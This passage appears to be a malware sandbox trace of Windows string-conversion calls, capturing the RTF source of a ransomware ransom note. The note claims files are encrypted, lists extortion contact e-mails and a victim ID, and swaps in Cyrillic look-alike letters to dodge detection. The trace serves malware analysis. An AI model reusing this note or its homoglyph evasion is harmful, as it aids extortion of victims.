th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl 